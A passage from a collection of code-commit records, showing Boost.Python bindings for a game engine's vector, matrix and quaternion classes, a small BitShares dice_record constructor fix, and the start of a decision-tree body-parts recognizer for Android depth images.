&vector4_setitem)\n\t\t\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self + self)\n\t\t.def(self - self)\n\t\t\n\t\t.def(self * self)\n\n\t\t.def(self * float())\n\t\t.def(float() * self)\n\t\t.def(self \/ float())\n\n\t\t.def(self += self)\n\t\t.def(self -= self)\n\t\t.def(self \/= float())\n\t\t\n\t\t.def(\"length\",&Vector4::Length)\n\t\t.def(\"length_squared\", &Vector4::LengthSquared)\n\t\t.def(\"dot\", &Vector4::Dot)\n\t\t.def(\"normalise\", &Vector4::Normalise)\n\t\t.def(\"normalised\", &Vector4::Normalised)\n\n\t\t.def(\"compute_extremes\", &Vector4::ComputeExtremes, return_value_policy<manage_new_object>())\n\t\t;\n\t\n\tclass_<AxisAngle>(\"AxisAngle\", init<Vector3, float>());\n\n\tclass_<Euler>(\"Euler\", init<float, float, float>());\n\n\tclass_<Matrix3>(\"Matrix3\")\n\t\t.def(init<Matrix3>())\n\t\t.def(init<float, float, float, float, float, float, float, float, float>())\n\n\t\t.def(\"__str__\", &Matrix3::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &matrix3_getitem)\n\t\t.def(\"__setitem__\", &matrix3_setitem)\n\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self *= self)\n\n\t\t.def(self * self)\n\t\t.def(self * Vector3())\n\t\t\n\t\t.def(\"scale\", &Matrix3::Scale)\n\t\t.def(\"translate\", &Matrix3::Translate)\n\t\t.def(\"rotate\", &Matrix3::Rotate)\n\t\t\n\t\t.def(\"create_scale\", &Matrix3::CreateScale)\n\t\t.def(\"create_translation\", &Matrix3::CreateTranslation)\n\t\t.def(\"create_rotation\", &Matrix3::CreateRotation)\n\n\t\t.def(\"determinant\", &Matrix3::Determinant)\n\t\t.def(\"inverse\", &Matrix3::Inverse)\n\t;\n\n\tclass_<Matrix4>(\"Matrix4\")\n\t\t.def(init<Matrix4>())\n\n\t\t.def(\"__str__\", &Matrix4::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &matrix4_getitem)\n\t\t.def(\"__setitem__\", &matrix4_setitem)\n\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self *= self)\n\n\t\t.def(self * self)\n\t\t.def(self * Vector3())\n\t\t\n\t\t.def(\"transform\", &Matrix4::Transform)\n\t\t.def(\"scale\", &Matrix4::Scale)\n\t\t.def(\"translate\", &Matrix4::Translate)\n\n\t\t.def(\"rotate_x\", &Matrix4::RotateX)\n\t\t.def(\"rotate_y\", &Matrix4::RotateY)\n\t\t.def(\"rotate_z\", &Matrix4::RotateZ)\n\n\t\t.def(\"rotate_axis\", &Matrix4::RotateAxis)\n\t\t.def(\"rotate_euler\", &Matrix4::RotateEuler)\n\t\t.def(\"rotate_triple_axis\", &Matrix4::RotateTripleAxis)\n\n\t\t.def(\"transpose\", &Matrix4::Transpose)\n\t\t.def(\"transposed\", &Matrix4::Transposed)\n\n\t\t.def(\"create_scale\", &Matrix4::CreateScale)\n\t\t.def(\"create_translation\", &Matrix4::CreateTranslation)\n\t\t.def(\"create_rotate_x\", &Matrix4::CreateRotateX)\n\t\t.def(\"create_rotate_y\", &Matrix4::CreateRotateY)\n\t\t.def(\"create_rotate_z\", &Matrix4::CreateRotateZ)\n\t\t.def(\"create_rotate_axis\", &Matrix4::CreateRotateAxis)\n\t\t.def(\"create_rotate_euler\", &Matrix4::CreateRotateEuler)\n\t\t.def(\"create_rotate_triple_axis\", &Matrix4::CreateRotateTripleAxis)\n\t\t.def(\"create_rotate_quaternion\", &Matrix4::CreateRotateQuaternion)\n\t\t.def(\"create_lookat\", &Matrix4::CreateLookAt)\n\t\t.def(\"create_perspective\", &Matrix4::CreatePerspective)\n\n\t\t.def(\"determinant\", &Matrix4::Determinant)\n\t\t.def(\"inverse\", &Matrix4::Inverse)\n\t\t.def(\"get_translation\", &Matrix4::GetTranslation)\n\t\t.def(\"get_scale\", &Matrix4::GetScale)\n\t\t.def(\"get_rotation\", &Matrix4::GetRotation)\n\t;\n\n\tclass_<Quaternion>(\"Quaternion\")\n\t\t.def(init<Quaternion>())\n\t\t.def(init<float, float, float, float>())\n\t\t.def(init<Vector3, float>())\n\t\t.def(init<float, float, float>())\n\t\t.def(init<Matrix4>())\n\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self * self)\n\t\t.def(self * Vector3())\n\t\t.def(self *= self)\n\n\t\t.def(\"length\", &Quaternion::Length)\n\t\t.def(\"length_squared\", &Quaternion::LengthSquared)\n\t\t.def(\"normalise\", &Quaternion::Normalise)\n\t\t.def(\"normalised\", &Quaternion::Normalised)\n\t\t.def(\"conjugate\", &Quaternion::Conjugate)\n\t\t.def(\"conjugated\", &Quaternion::Conjugated)\n\t\t.def(\"inverse\", &Quaternion::Inverse)\n\n\t\t\/\/ Using Custom Overload handlers\n\t\t.def(\"rotate_axis\", RotateAxisVF)\n\t\t.def(\"rotate_axis\", RotateAxisAA)\n\t\t.def(\"rotate_euler\", RotateEulerFFF)\n\t\t.def(\"rotate_euler\", RotateEulerE)\n\n\t\t.def(\"rotate_matrix\", &Quaternion::RotateMatrix)\n\n\t\t.def(\"rotate\", &Quaternion::Rotate)\n\t\t.def(\"get_angle_axis\", &Quaternion::GetAngleAxis)\n\t\t.def(\"get_euler\", &Quaternion::GetEuler)\n\t\t.def(\"get_matrix\", &Quaternion::GetMatrix)\n\t\t.def(\"interpolate\", &Quaternion::Interpolate)\n\n\t\t.def_readonly(\"IDENTITY\", &Quaternion::IDENTITY)\n\t\t.def_readonly(\"ZERO\", &Quaternion::ZERO)\n\t;\n}<commit_msg>M Fixed python Vector3 UP const<commit_after>#include \"script\/python\/MathModule.h\"\n#include \"math\/Vector.h\"\n#include \"math\/Matrix.h\"\n#include \"math\/Quaternion.h\"\n#include \"math\/Rotation.h\"\n\n\n\/\/ Vector2 Python Helper Functions\nvoid vector2_setitem(Vector2& v, int index, float value)\n{\n\tint MAX = 2;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat vector2_getitem(Vector2&v, int index)\n{\n\tint MAX = 2;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Vector3 Python Helper Functions\nvoid vector3_setitem(Vector3& v, int index, float value)\n{\n\tint MAX = 3;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat vector3_getitem(Vector3&v, int index)\n{\n\tint MAX = 3;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Vector4 Python Helper Functions\nvoid vector4_setitem(Vector4& v, int index, float value)\n{\n\tint MAX = 4;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat vector4_getitem(Vector4&v, int index)\n{\n\tint MAX = 4;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Matrix3 Python Helper Functions\nvoid matrix3_setitem(Matrix3& v, int index, float value)\n{\n\tint MAX = 9;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat matrix3_getitem(Matrix3&v, int index)\n{\n\tint MAX = 9;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Matrix4 Python Helper Functions\nvoid matrix4_setitem(Matrix4& v, int index, float value)\n{\n\tint MAX = 16;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        v[index] = value;\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\nfloat matrix4_getitem(Matrix4&v, int index)\n{\n\tint MAX = 16;\n\tif ( index < 0 ) \n\t\tindex += MAX;\n    if (index >= 0 && index < MAX) {\n        return v[index];\n    }\n    else {\n        PyErr_SetString(PyExc_IndexError, \"index out of range\");\n        throw_error_already_set();\n    }\n}\n\n\/\/ Quaternion function wrappers\n\nQuaternion (Quaternion::*RotateAxisVF)(Vector3,float) = &Quaternion::RotateAxis;\nQuaternion (Quaternion::*RotateAxisAA)(AxisAngle) = &Quaternion::RotateAxis;\nQuaternion (Quaternion::*RotateEulerFFF)(float,float,float) = &Quaternion::RotateEuler;\nQuaternion (Quaternion::*RotateEulerE)(Euler) = &Quaternion::RotateEuler;\n\n\/\/ Expose Math Classes to Python\nvoid initMath()\n{\n\t\/\/ make math package\n\tobject mathModule( handle<>( borrowed( PyImport_AddModule(\"epsilon.math\") ) ) );\n\tscope().attr(\"math\") = mathModule;\n\n\tscope mathScope = mathModule;\n\n\tclass_<Vector2>(\"Vector2\", init< optional<float> >())\n\t\t\t.def(init<Vector2>())\n\t\t\t.def(init<float,float>())\n\t\n\t\t.def_readwrite(\"x\", &Vector2::x)\n\t\t.def_readwrite(\"y\", &Vector2::y)\n\n\t\t.def(\"__str__\", &Vector2::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &vector2_getitem)\n\t\t.def(\"__setitem__\", &vector2_setitem)\n\t\t\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self + self)\n\t\t.def(self - self)\n\t\t\n\t\t.def(self * self)\n\n\t\t.def(self * float())\n\t\t.def(float() * self)\n\t\t.def(self \/ float())\n\n\t\t.def(self += self)\n\t\t.def(self -= self)\n\t\t.def(self \/= float())\n\t\t\n\t\t.def(\"length\",&Vector2::Length)\n\t\t.def(\"length_squared\", &Vector2::LengthSquared)\n\t\t.def(\"dot\", &Vector2::Dot)\n\t\t.def(\"normalise\", &Vector2::Normalise)\n\t\t.def(\"normalised\", &Vector2::Normalised)\n\n\t\t.def(\"cross\", &Vector2::Cross)\n\t\t.def(\"reflect\", &Vector2::Reflect)\n\t\t.def(\"angle\", &Vector2::Angle)\n\t\t.def(\"project\", &Vector2::Project)\n\n\t\t.def(\"compute_extremes\", &Vector2::ComputeExtremes, return_value_policy<manage_new_object>())\n\t\t;\n\n\tclass_<Vector3>(\"Vector3\", init< optional<float> >())\n\t\t\t.def(init<Vector3>())\n\t\t\t.def(init<float,float,float>())\n\t\n\t\t.def_readwrite(\"x\", &Vector3::x)\n\t\t.def_readwrite(\"y\", &Vector3::y)\n\t\t.def_readwrite(\"z\", &Vector3::z)\n\n\t\t.def(\"__str__\", &Vector3::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &vector3_getitem)\n\t\t.def(\"__setitem__\", &vector3_setitem)\n\t\t\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self + self)\n\t\t.def(self - self)\n\t\t\n\t\t.def(self * self)\n\n\t\t.def(self * float())\n\t\t.def(float() * self)\n\t\t.def(self \/ float())\n\n\t\t.def(self += self)\n\t\t.def(self -= self)\n\t\t.def(self \/= float())\n\t\t\n\t\t.def(\"length\",&Vector3::Length)\n\t\t.def(\"length_squared\", &Vector3::LengthSquared)\n\t\t.def(\"dot\", &Vector3::Dot)\n\t\t.def(\"normalise\", &Vector3::Normalise)\n\t\t.def(\"normalised\", &Vector3::Normalised)\n\n\t\t.def(\"cross\", &Vector3::Cross)\n\t\t.def(\"unit_cross\", &Vector3::UnitCross)\n\t\t.def(\"reflect\", &Vector3::Reflect)\n\t\t.def(\"rotate_around\", &Vector3::RotateAround)\n\t\t.def(\"distance\", &Vector3::Distance)\n\t\t.def(\"angle\", &Vector3::Angle)\n\t\t.def(\"project\", &Vector3::Project)\n\n\t\t.def(\"compute_extremes\", &Vector3::ComputeExtremes, return_value_policy<manage_new_object>())\n\n\t\t.def_readonly(\"UP\", &Vector3::UP)\n\t\t.def_readonly(\"RIGHT\", &Vector3::RIGHT)\n\t\t.def_readonly(\"FORWARD\", &Vector3::FORWARD)\n\t\t.def_readonly(\"DOWN\", &Vector3::DOWN)\n\t\t.def_readonly(\"LEFT\", &Vector3::LEFT)\n\t\t.def_readonly(\"BACKWARD\", &Vector3::BACKWARD)\n\n\t\t.def_readonly(\"ZERO\", &Vector3::ZERO)\n\t\t.def_readonly(\"ONE\", &Vector3::ONE)\n\t\t.def_readonly(\"IDENTITY\", &Vector3::IDENTITY)\n\n\t\t.def_readonly(\"UNIT_Z\", &Vector3::UNIT_Z)\n\t\t.def_readonly(\"UNIT_Y\", &Vector3::UNIT_Y)\n\t\t.def_readonly(\"UNIT_X\", &Vector3::UNIT_X)\n\t\t;\n\n\tclass_<Vector4>(\"Vector4\", init< optional<float> >())\n\t\t\t.def(init<Vector4>())\n\t\t\t.def(init<float,float,float,float>())\n\t\n\t\t.def_readwrite(\"x\", &Vector4::x)\n\t\t.def_readwrite(\"y\", &Vector4::y)\n\t\t.def_readwrite(\"z\", &Vector4::z)\n\t\t.def_readwrite(\"w\", &Vector4::w)\n\n\t\t.def(\"__str__\", &Vector4::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &vector4_getitem)\n\t\t.def(\"__setitem__\", &vector4_setitem)\n\t\t\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self + self)\n\t\t.def(self - self)\n\t\t\n\t\t.def(self * self)\n\n\t\t.def(self * float())\n\t\t.def(float() * self)\n\t\t.def(self \/ float())\n\n\t\t.def(self += self)\n\t\t.def(self -= self)\n\t\t.def(self \/= float())\n\t\t\n\t\t.def(\"length\",&Vector4::Length)\n\t\t.def(\"length_squared\", &Vector4::LengthSquared)\n\t\t.def(\"dot\", &Vector4::Dot)\n\t\t.def(\"normalise\", &Vector4::Normalise)\n\t\t.def(\"normalised\", &Vector4::Normalised)\n\n\t\t.def(\"compute_extremes\", &Vector4::ComputeExtremes, return_value_policy<manage_new_object>())\n\t\t;\n\t\n\tclass_<AxisAngle>(\"AxisAngle\", init<Vector3, float>());\n\n\tclass_<Euler>(\"Euler\", init<float, float, float>());\n\n\tclass_<Matrix3>(\"Matrix3\")\n\t\t.def(init<Matrix3>())\n\t\t.def(init<float, float, float, float, float, float, float, float, float>())\n\n\t\t.def(\"__str__\", &Matrix3::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &matrix3_getitem)\n\t\t.def(\"__setitem__\", &matrix3_setitem)\n\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self *= self)\n\n\t\t.def(self * self)\n\t\t.def(self * Vector3())\n\t\t\n\t\t.def(\"scale\", &Matrix3::Scale)\n\t\t.def(\"translate\", &Matrix3::Translate)\n\t\t.def(\"rotate\", &Matrix3::Rotate)\n\t\t\n\t\t.def(\"create_scale\", &Matrix3::CreateScale)\n\t\t.def(\"create_translation\", &Matrix3::CreateTranslation)\n\t\t.def(\"create_rotation\", &Matrix3::CreateRotation)\n\n\t\t.def(\"determinant\", &Matrix3::Determinant)\n\t\t.def(\"inverse\", &Matrix3::Inverse)\n\t;\n\n\tclass_<Matrix4>(\"Matrix4\")\n\t\t.def(init<Matrix4>())\n\n\t\t.def(\"__str__\", &Matrix4::ToString)\n\t\t\n\t\t.def(\"__getitem__\", &matrix4_getitem)\n\t\t.def(\"__setitem__\", &matrix4_setitem)\n\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self *= self)\n\n\t\t.def(self * self)\n\t\t.def(self * Vector3())\n\t\t\n\t\t.def(\"transform\", &Matrix4::Transform)\n\t\t.def(\"scale\", &Matrix4::Scale)\n\t\t.def(\"translate\", &Matrix4::Translate)\n\n\t\t.def(\"rotate_x\", &Matrix4::RotateX)\n\t\t.def(\"rotate_y\", &Matrix4::RotateY)\n\t\t.def(\"rotate_z\", &Matrix4::RotateZ)\n\n\t\t.def(\"rotate_axis\", &Matrix4::RotateAxis)\n\t\t.def(\"rotate_euler\", &Matrix4::RotateEuler)\n\t\t.def(\"rotate_triple_axis\", &Matrix4::RotateTripleAxis)\n\n\t\t.def(\"transpose\", &Matrix4::Transpose)\n\t\t.def(\"transposed\", &Matrix4::Transposed)\n\n\t\t.def(\"create_scale\", &Matrix4::CreateScale)\n\t\t.def(\"create_translation\", &Matrix4::CreateTranslation)\n\t\t.def(\"create_rotate_x\", &Matrix4::CreateRotateX)\n\t\t.def(\"create_rotate_y\", &Matrix4::CreateRotateY)\n\t\t.def(\"create_rotate_z\", &Matrix4::CreateRotateZ)\n\t\t.def(\"create_rotate_axis\", &Matrix4::CreateRotateAxis)\n\t\t.def(\"create_rotate_euler\", &Matrix4::CreateRotateEuler)\n\t\t.def(\"create_rotate_triple_axis\", &Matrix4::CreateRotateTripleAxis)\n\t\t.def(\"create_rotate_quaternion\", &Matrix4::CreateRotateQuaternion)\n\t\t.def(\"create_lookat\", &Matrix4::CreateLookAt)\n\t\t.def(\"create_perspective\", &Matrix4::CreatePerspective)\n\n\t\t.def(\"determinant\", &Matrix4::Determinant)\n\t\t.def(\"inverse\", &Matrix4::Inverse)\n\t\t.def(\"get_translation\", &Matrix4::GetTranslation)\n\t\t.def(\"get_scale\", &Matrix4::GetScale)\n\t\t.def(\"get_rotation\", &Matrix4::GetRotation)\n\t;\n\n\tclass_<Quaternion>(\"Quaternion\")\n\t\t.def(init<Quaternion>())\n\t\t.def(init<float, float, float, float>())\n\t\t.def(init<Vector3, float>())\n\t\t.def(init<float, float, float>())\n\t\t.def(init<Matrix4>())\n\n\t\t.def(self == self)\n\t\t.def(self != self)\n\n\t\t.def(self * self)\n\t\t.def(self * Vector3())\n\t\t.def(self *= self)\n\n\t\t.def(\"length\", &Quaternion::Length)\n\t\t.def(\"length_squared\", &Quaternion::LengthSquared)\n\t\t.def(\"normalise\", &Quaternion::Normalise)\n\t\t.def(\"normalised\", &Quaternion::Normalised)\n\t\t.def(\"conjugate\", &Quaternion::Conjugate)\n\t\t.def(\"conjugated\", &Quaternion::Conjugated)\n\t\t.def(\"inverse\", &Quaternion::Inverse)\n\n\t\t\/\/ Using Custom Overload handlers\n\t\t.def(\"rotate_axis\", RotateAxisVF)\n\t\t.def(\"rotate_axis\", RotateAxisAA)\n\t\t.def(\"rotate_euler\", RotateEulerFFF)\n\t\t.def(\"rotate_euler\", RotateEulerE)\n\n\t\t.def(\"rotate_matrix\", &Quaternion::RotateMatrix)\n\n\t\t.def(\"rotate\", &Quaternion::Rotate)\n\t\t.def(\"get_angle_axis\", &Quaternion::GetAngleAxis)\n\t\t.def(\"get_euler\", &Quaternion::GetEuler)\n\t\t.def(\"get_matrix\", &Quaternion::GetMatrix)\n\t\t.def(\"interpolate\", &Quaternion::Interpolate)\n\n\t\t.def_readonly(\"IDENTITY\", &Quaternion::IDENTITY)\n\t\t.def_readonly(\"ZERO\", &Quaternion::ZERO)\n\t;\n}<|endoftext|>"}
{"text":"<commit_before>#pragma once\n#include <bts\/blockchain\/types.hpp>\n#include <bts\/blockchain\/withdraw_types.hpp>\n#include <bts\/blockchain\/transaction.hpp>\n\nnamespace bts { namespace blockchain {\n    \n    struct dice_record\n    {\n        dice_record()\n        :id(0),account_id(0), amount(0), odds(1){}\n        \n        bool is_null()const;\n        \n        dice_record make_null()const;\n        \n        dice_id_type        id;\n        account_id_type     account_id;\n        share_type          amount;\n        uint32_t            odds;\n    };\n    typedef fc::optional<dice_record> odice_record;\n    \n} } \/\/ bts::blockchain\n\nFC_REFLECT( bts::blockchain::dice_record,\n           (id)(account_id)(amount)(odds)\n           )<commit_msg>fix segametaion fault, should no be 0<commit_after>#pragma once\n#include <bts\/blockchain\/types.hpp>\n#include <bts\/blockchain\/withdraw_types.hpp>\n#include <bts\/blockchain\/transaction.hpp>\n\nnamespace bts { namespace blockchain {\n    \n    struct dice_record\n    {\n        dice_record()\n        :id(dice_id_type()),account_id(0), amount(0), odds(1){}\n        \n        bool is_null()const;\n        \n        dice_record make_null()const;\n        \n        dice_id_type        id;\n        account_id_type     account_id;\n        share_type          amount;\n        uint32_t            odds;\n    };\n    typedef fc::optional<dice_record> odice_record;\n    \n} } \/\/ bts::blockchain\n\nFC_REFLECT( bts::blockchain::dice_record,\n           (id)(account_id)(amount)(odds)\n           )<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\n#include <cstring>\n#include <limits>\n#include <memory>\n\n#include <android\/log.h>\n\n#include <boost\/format.hpp>\n#include <boost\/utility.hpp>\n\n#include <tbb\/blocked_range2d.h>\n#include <tbb\/parallel_for.h>\n#include <tbb\/task_scheduler_init.h>\n\n#include \"body_parts_recognizer.h\"\n#include \"gles_helper.h\"\n#include \"rgbd_image.h\"\n#include \"sources.h\"\n#include \"stopwatch.h\"\n\nconst Depth BACKGROUND_DEPTH = std::numeric_limits<Depth>::max();\n\nstruct DepthImage\n{\nprivate:\n\n  unsigned width, height;\n  std::vector<Depth> depths;\n\npublic:\n\n  DepthImage(const RGBDImage & image)\n    : width(image.width), height(image.height), depths(width * height)\n  {\n    for (std::size_t i = 0; i < depths.size(); ++i)\n      depths[i] = image.pixels[i].d == 0 ? BACKGROUND_DEPTH : image.pixels[i].d; \/\/ we consider 0 to be invalid depth\n  }\n\n  void\n  applyThreshold(int threshold)\n  {\n    Depth min_depth = *std::min_element(depths.begin (), depths.end ());\n\n    for (std::size_t i = 0; i < depths.size (); ++i)\n      depths[i] = depths[i] <= min_depth + threshold ? depths[i] : BACKGROUND_DEPTH;\n  }\n\n  Depth\n  getDepth(int x, int y) const\n  {\n    if (x < 0 || x >= int (width) || y < 0 || y >= int (height))\n      return BACKGROUND_DEPTH;\n\n    return depths[x + width * y];\n  }\n\n  unsigned getWidth() const { return width; }\n  unsigned getHeight() const { return height; }\n};\n\nstruct DecisionTreeCPU\n{\n  tbb::task_scheduler_init tbb_init;\n\n  struct Offsets\n  {\n    boost::int16_t du1, dv1, du2, dv2;\n  };\n\n  struct Node\n  {\n    Offsets offsets;\n    boost::int16_t threshold;\n  };\n\n  boost::uint16_t depth;\n  std::vector<Node> nodes;\n  std::vector<Label> leaves;\n\n  DecisionTreeCPU(const char * data)\n  {\n    std::memcpy (&depth, data, sizeof depth);\n    data += sizeof depth;\n\n    nodes.resize ((1 << depth) - 1);\n    std::memcpy (&nodes.front (), data, nodes.size () * sizeof (Node));\n    data += nodes.size () * sizeof (Node);\n\n    leaves.resize (1 << depth);\n    std::memcpy (&leaves.front (), data, leaves.size () * sizeof (Label));\n    data += leaves.size () * sizeof (Label);\n  }\n\n  Label\n  walk(const DepthImage & image, int x, int y) const\n  {\n    unsigned nid = 0;\n    Depth d0 = image.getDepth(x, y);\n    float scale = 1000.0f \/ d0;\n\n    for(int node_depth = 0; node_depth < depth; ++node_depth)\n    {\n      const Node & node = nodes[nid];\n\n      Depth d1 = image.getDepth (x + node.offsets.du1 * scale, y + node.offsets.dv1 * scale);\n      Depth d2 = image.getDepth (x + node.offsets.du2 * scale, y + node.offsets.dv2 * scale);\n\n      int feature = int (d1) - int (d2);\n\n      if (feature > node.threshold)\n        nid = nid * 2 + 2;\n      else\n        nid = nid * 2 + 1;\n    }\n\n    return leaves[nid - nodes.size()];\n  }\n\n  struct WalkHelper\n  {\n  private:\n    const DecisionTreeCPU & tree;\n    const DepthImage & image;\n    std::vector<Label> & labels;\n\n  public:\n    WalkHelper(const DecisionTreeCPU & tree, const DepthImage & image, std::vector<Label> & labels)\n      : tree(tree), image(image), labels(labels)\n    {\n    }\n\n    void\n    operator () (const tbb::blocked_range2d<unsigned> & range) const\n    {\n      for (unsigned y = range.rows().begin(); y < range.rows().end(); ++y)\n        for (unsigned x = range.cols().begin(); x < range.cols().end(); ++x)\n          labels[x + y * image.getWidth()] = image.getDepth(x, y) == BACKGROUND_DEPTH ?\n                Labels::Background : tree.walk(image, x, y);\n    }\n  };\n\n  void\n  eval(const DepthImage & image, std::vector<Label> & labels) const\n  {\n#if 0\n    for (unsigned x = 0; x < image.getWidth(); ++x)\n      for (unsigned y = 0; y < image.getHeight(); ++y)\n        labels[x + y * image.getWidth()] = image.getDepth(x, y) == BACKGROUND_DEPTH ?\n              Labels::Background : walk(image, x, y);\n#else\n    tbb::parallel_for(\n          tbb::blocked_range2d<unsigned>(0, image.getHeight(), 0, image.getWidth()),\n          WalkHelper(*this, image, labels)\n    );\n#endif\n  }\n};\n\n\nstruct DecisionTreeGPU : boost::noncopyable\n{\nprivate:\n  std::auto_ptr<GlesHelper> helper;\n  GLuint depth_image_tex, labels_tex;\n\npublic:\n  DecisionTreeGPU(const char * data)\n  {\n    const int tree_width = 2048;\n    boost::uint16_t tree_depth;\n    std::memcpy (&tree_depth, data, sizeof tree_depth);\n    data += sizeof tree_depth;\n    const int nodes_height = (1 << tree_depth) \/ tree_width;\n\n    const char * fs_source = reinterpret_cast<const char *> (source_tree_walk_fsh);\n    std::string fs_macros =\n        (boost::format(\"#define TREE_DEPTH %1%\\n#define NODES_HEIGHT %2%\\n\") % tree_depth % nodes_height).str();\n    std::vector<const char *> fs_sources;\n    fs_sources.push_back(fs_macros.c_str());\n    fs_sources.push_back(fs_source);\n\n    helper.reset(new GlesHelper(fs_sources));\n\n    std::vector<unsigned char> offsets1_buffer, offsets2_buffer, thresholds_buffer;\n    offsets1_buffer.resize(4 * tree_width * tree_width);\n    offsets2_buffer.resize(4 * tree_width * tree_width);\n    thresholds_buffer.resize(4 * tree_width * tree_width);\n\n    for (int i = 0; i < (1 << tree_depth) - 1; ++i)\n    {\n      std::memcpy(&offsets1_buffer[4 * i], data, 4);\n      std::memcpy(&offsets2_buffer[4 * i], data + 4, 4);\n      std::memcpy(&thresholds_buffer[4 * i], data + 8, 2);\n      data += 10;\n    }\n\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &offsets1_buffer.front()),\n          \"offsets1\");\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &offsets2_buffer.front()),\n          \"offsets2\");\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &thresholds_buffer.front()),\n          \"thresholds\");\n\n    std::vector<unsigned char> leaves_buffer(4 * tree_width * tree_width);\n\n    for (unsigned i = 0; i < (1 << 20); ++i)\n    {\n      std::memcpy(&leaves_buffer[4 * i], data, 1);\n      data += 1;\n    }\n\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &leaves_buffer.front()),\n          \"leaves\");\n\n    depth_image_tex = helper->addTexture();\n    helper->bindTextureToUniform(depth_image_tex, \"depth_image\");\n\n    labels_tex = helper->addTexture();\n    helper->bindTextureToOutput(labels_tex);\n  }\n\n\n  void\n  eval(const DepthImage & image, std::vector<Label> & labels) const\n  {\n    std::vector<unsigned char> depth_image_buffer(4 * image.getWidth() * image.getHeight());\n\n    for (std::size_t i = 0; i < image.getWidth() * image.getHeight(); ++i)\n    {\n      Depth d = image.getDepth(i % image.getWidth(), i \/ image.getWidth());\n      *reinterpret_cast<Depth *> (&depth_image_buffer[4 * i]) = d;\n    }\n\n    helper->setTextureData(depth_image_tex,\n                           image.getWidth(), image.getHeight(), &depth_image_buffer.front());\n\n    helper->setTextureData(labels_tex,\n                           image.getWidth(), image.getHeight(), NULL);\n\n    helper->setUniform(\"image_width\", image.getWidth());\n    helper->setUniform(\"image_height\", image.getHeight());\n\n    std::vector<unsigned char> labels_buffer(depth_image_buffer.size());\n\n    helper->run(image.getWidth(), image.getHeight(), &labels_buffer.front());\n\n    for (std::size_t i = 0; i < image.getWidth() * image.getHeight(); ++i)\n      labels[i] = labels_buffer[4 * i];\n  }\n};\n\nint maxElementNoTie(int num, int * elements)\n{\n  int max_element = 0;\n  int max = elements[max_element];\n\n  for (int i = 1; i < num; ++i)\n  {\n    int val = elements[i];\n    if (max < val) { max_element = i; max = val; }\n    else if (max == val) { max_element = -1; }\n  }\n\n  return max_element;\n}\n\nBodyPartsRecognizer::BodyPartsRecognizer(std::size_t num_trees, const char * trees[])\n{\n  this->trees.resize(num_trees);\n\n  for (std::size_t i = 0; i < num_trees; ++i)\n    this->trees[i].reset(new Tree(trees[i]));\n}\n\nstruct ConsensusHelper\n{\nprivate:\n  const std::vector<std::vector<Label> > & multi_labels;\n  std::vector<Label> & labels;\n  const DepthImage & depth_image;\n\npublic:\n  ConsensusHelper(\n      const std::vector<std::vector<Label> > & multi_labels,\n      std::vector<Label> & labels,\n      const DepthImage & depth_image\n  )\n    : multi_labels(multi_labels), labels(labels), depth_image(depth_image)\n  {\n  }\n\n  void operator ()(const tbb::blocked_range2d<unsigned> & range) const\n  {\n    for (unsigned y = range.rows().begin(); y < range.rows().end(); ++y)\n      for (unsigned x = range.cols().begin(); x < range.cols().end(); ++x)\n      {\n        int bins[Labels::NUM_LABELS] = { 0 };\n        std::size_t i = x + y * depth_image.getWidth();\n\n        for (std::size_t ti = 0; ti < multi_labels.size (); ++ti)\n          ++bins[multi_labels[ti][i]];\n\n        int consensus 